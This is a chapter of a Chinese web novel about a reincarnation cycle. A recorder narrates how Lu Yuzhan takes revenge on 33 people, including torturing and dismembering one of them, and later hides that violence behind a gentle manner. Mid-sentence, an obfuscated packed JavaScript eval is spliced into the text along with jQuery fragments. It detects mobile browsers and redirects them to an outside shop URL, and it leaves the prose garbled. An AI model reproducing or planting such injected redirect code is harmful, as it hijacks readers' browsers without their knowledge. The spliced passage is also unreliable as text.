第一世。君荼白死后第七天。


    秦牧师傅说，世界会在七天后重置。


    那时候我还不完全明白“重置”意味着什么。直到君荼白的尸体在停尸房冷透的第三天，陆予瞻来找我，眼睛里的光全灭了。他说：“沈鉴，帮我查几个人。”


    他递过来的名单上，有33个名字。都是那晚仓库事件的直接参与者——用烙铁的那个人，拿钳子拔掉君荼白牙齿的那个人，还有下令开枪的小头目，还有一些做了更过分的事的禽兽们。


    “你要做什么？”我问。


    陆予瞻没回答。他只是看着我，眼神空得吓人。


    周屹站在他身后，脸上没有任何表情。但他的手在抖。我注意到，这个从认识以来就像标枪一样□□的男人，手在轻微地颤抖。


    我还是查了。用我那点刚入门的黑客技术，加上师傅的人脉网，三天时间，33个人的住址、行踪、家庭关系，全部整理成册。


    陆予瞻接过资料时，说了声“谢谢”，声音很轻。


    然后他和周屹消失了。


    第一天，名单上死了三个人。新闻说是“□□内讧”，但现场的照片流出来。师傅不让我看，可我偷看到了。那不是内讧该有的样子。


    第二天，又死了四个。这次连新闻都没有，尸体在凌晨被发现，摆在废弃码头的集装箱里。有路过的流浪汉说，听见了“不像是人能发出的声音”。


    第三天，师傅按住我的肩膀：“小鉴，别查了。”


    “可是……”


    “没有可是。”师傅的眼神很复杂，里面有我读不懂的东西，“那些地狱，不要看。”


    但我还是看了。第四天，陆予瞻和周屹回来了一趟，换衣服。陆予瞻的白衬衫袖口沾了暗红色的污渍，他站在水池边用力搓洗，搓得指节发白。周屹靠在门框上，眼睛看着窗外，整个人像是被抽空了。


    我问：“还差几个？”


    陆予瞻没回头：“六个。”


    他的声音太平静了，平静得不像在说杀人，像在说今天天气不错。


    第五天，名单上只剩下一个名字：陈子轩。


    那晚陆予瞻和周屹很晚才回来。师傅让我去睡觉，但我没睡着。我听见他们在楼下的谈话。准确说，是陆予瞻在说，周屹在听。


    “在东郊的废弃屠宰场。”陆予瞻的声音隔着地板传上来，很模糊，“明天去。”


    周屹说了句什么，我没听清。


    陆予瞻笑了。那个笑声我几百辈子都忘不掉。冰冷，空洞，像什么东西碎掉之后又被强行粘合起来的残响。


    他说：“死？太便宜他了。”


    第六天，他们天没亮就走了。


    师傅一整天都心神不宁，在院子里来回踱步。傍晚时，他忽然对我说：“小鉴，如果……如果你觉得太难受，可以不看了。记录者也是人，人可以害怕。”


    我没听懂。


    直到深夜，陆予瞻一个人回来。


    他浑身湿透，像是刚从水里捞出来。头发贴在额前，水珠顺着下巴往下滴。但他身上很干净，换了一身新衣服，连指甲缝里都没有污垢。


    太干净了。干净得不正常。


    “周屹呢？”师傅问。


    “在外面。”陆予瞻说，“吐了一会儿。”


    他走到桌边，给自己倒了杯水。手很稳，水杯没有一丝颤抖。喝完后，他看向我：“沈鉴，能帮我个忙吗？”


    “什、什么？”


    “查一下大型工业粉碎机的处理厂。要偏远的，废弃的，监控坏掉的。”


    我愣住了。


    师傅猛地站起来：“陆予瞻！够了！”


    陆予瞻转过头，看着师傅，眼神很平静：“秦师傅，还不够。他还活着。”


    “什么？”


    “蛊术。”陆予瞻说，“你为了救君荼白，也给他的执念……仇人陈子轩下了永生蛊，和君荼白绑定了。荼白轮回多久，他就轮回多久。所以普通的死法没用，他会重生，会记得，会继续害人。”


    他顿了顿，声音低下来：“所以我得想个办法，让他……没办法完整的重生。”


    我浑身发冷。


    那天晚上，周屹很晚才进来。脸色白得像纸，脚步虚浮。他看见我，想说什么，但突然捂住嘴，冲进卫生间。


    我听见呕吐的声音，持续了很久。


    等他出来时，眼睛是红的。他走到我面前，张了张嘴，最终只说了一句：“别看。沈鉴，答应我，永远别去看。”


    我问：“你们……做了什么？”


    周屹闭上眼睛，喉结滚动了好几下，才艰难地说：“陆队他……把陈子轩，拆开了。”


    “拆开？”


    “147块。”周屹的声音在抖，“皮是皮，骨是骨，肉是肉……分开的。内脏也……分开的。但他还活着，蛊术让他保持清醒，能看见，能感觉……”


    他说不下去了，转身又冲进卫生间。


    我站在原地，手脚冰凉。


    147块。


    君荼白死时，24岁。如果活到正常寿命，应该是71岁。71减24，等于47。再乘以轮回的3世——不，不对，我在想什么，我在算什么？


    师傅走过来，抱住我。他的身上有草药的味道，很苦，很涩。


    “小鉴，”师傅说，“明天，世界就重置了。今晚的事，你可以选择记住，也可以选择忘记。但我建议你……至少记住一部分。因为记住，才能保护自己。”


    我没听懂。


    直到第七天，也就是世界重置前的最后一天。


    陆予瞻很早就出门了。周屹也跟着去了。师傅没拦，只是坐在院子里，泡了一壶很浓的茶。


    我坐在师傅对面，问他：“师傅，陆予瞻他……还是陆予瞻吗？”


    师傅沉默了很久。


    “是，也不是。”他说，“一个人心里最重要的东西被挖走了，剩下的部分，可能会变成任何样子。陆予瞻他……把对君荼白所有的感情，都转化成了别的东西。恨，愤怒，还有……一种你最好不要了解的东西。”


    傍晚，陆予瞻回来了。


    他换了一身干净的衣服，甚至刮了胡子，头发梳得整齐。他走到我面前，递给我一个笔记本。


    “这是什么？”我问。


    “这七天的记录。”他说，“你以后会成为一个很好的记录者，沈鉴。这些资料，可能用得上。”


    我接过笔记本，很轻，但觉得有千斤重。


    “陈子轩他……”


    “处理好了。”陆予瞻打断我，语气平静得像在说垃圾已经分类投放，“他不会再有轮回了。至少，不会以完整的形态轮回了。”


    他顿了顿，看向师傅：“师傅，时间快到了吧？”


    师傅点头：“子时。还有四个小时。”


    “那我去准备一下。”陆予瞻说，“下一世，我想早点找到他。17岁……应该还在读高中吧？这次，我要看着他平安长大。”


    他转身走向房间，脚步很稳。


    但我看见，他的右手，那只一直戴着手套的右手，手套边缘露出一截皮肤。上面有暗红色的纹路，像某种符咒，又像被什么东西灼烧后留下的疤。


    周屹走过来，低声对我说：“沈鉴。”


    “嗯？”


    “下一世……如果我们都还记得，如果陆队他…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052020|194818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …又变成现在这样。”周屹的眼神很复杂，有恐惧，有担忧，还有一丝绝望，“记得提醒我，离他远一点。也提醒你自己。”


    我点了点头，但心里知道：如果陆予瞻真的想做什么，我们躲不掉。


    子时，世界开始重置。


    我坐在师傅身边，看着窗外的夜色一点点褪去，像是被什么无形的橡皮擦擦掉。师傅的手按在我肩膀上，很用力。


    “小鉴，记住。”他说，“记录者的职责是记录，不是评判。但有时候……不记录，也是一种选择。”


    我抱住师傅，哭了。


    我说：“师傅，我不记了。我不做传承人了。太可怕了……那个人太可怕了……”


    师傅轻轻拍着我的背，没说话。


    但我知道，他同意了。


    因为当重置的光芒吞没一切时，师傅在我耳边说了一句话：


    “好。那就不做传承人了。师傅想办法换个人，以后，你就当个只做记录的普通科研人员吧。”


    第二世及之后


    重置后的每一世，陆予瞻都表现得温和、克制、彬彬有礼。


    他在咖啡馆等君荼白，耐心地、安静地，像一尊不会发怒的雕像。他对每个人微笑，说话轻声细语，做事周到妥帖。


    所有人都说，陆予瞻是个好人。


    只有我和周屹知道不是。


    我们知道他手上那个月芽疤痕的秘密。那个在第一世留下的、再也洗不掉的痕迹。我们知道他每个深夜独处时，眼神会变得多空洞。我们知道，当他看着君荼白时，眼底深处翻涌的是什么。


    不是爱。


    至少不全是爱。


    是某种更复杂、更黑暗、更可怕的东西。像是把一整座地狱熔炼后，灌注进一个名为“温柔”的模具里，浇铸出来的仿制品。


    仿得很像，但终究是仿的。


    周屹怕他。我看得出来。


    每次陆予瞻温和地笑，周屹的脊背都会绷紧一线。每次陆予瞻用那双茶色的眼睛凝视某个人，周屹会下意识地挡在君荼白身前。哪怕那时候君荼白还不认识他们。


    我也怕。


    我怕他有一天会失控。怕他表面的温和像蛋壳一样碎裂，露出里面漆黑黏稠的内核。怕他再次变成第一世最后那七天里的样子。那个把陈子轩拆成147块还能平静喝茶的魔鬼。


    但陆予瞻没有失控。


    他用强大的意志力，把那个魔鬼锁在了内心深处。他戴上温和的面具，戴上克制的枷锁，戴上彬彬有礼的镣铐。他把自己伪装成一个正常人，骗过了所有人。


    包括君荼白。


    除了我和周屹。


    我们记得。记得第一世的那七天，记得每个轮回君荼白死亡后的那几天。记得那些暗红色的夜晚，记得卫生间的呕吐声，记得粉碎机遥远的轰鸣，知道陆予瞻越来越不像个人。


    所以我们默契地守着这个秘密。


    周屹用沉默守护君荼白，我用记录观察陆予瞻。我们在恐惧中达成共识：只要陆予瞻还戴着面具，只要他还愿意伪装，我们就陪他演这出戏。


    为了君荼白。


    也为了我们自己。


    因为我们都清楚。如果面具碎了，最先遭殃的，可能是我们这些“知情者”。


    这就是轮回的真相。


    不是救赎，是囚笼。


    我们都被困在里面。


    陆予瞻困在对君荼白扭曲的执念里，周屹困在对弟弟的愧疚和对陆予瞻的恐惧里，我困在记录者的职责和普通人的懦弱里。


    而君荼白，困在一百四十七次死亡的记忆里。


    没有人自由。


    从来没有。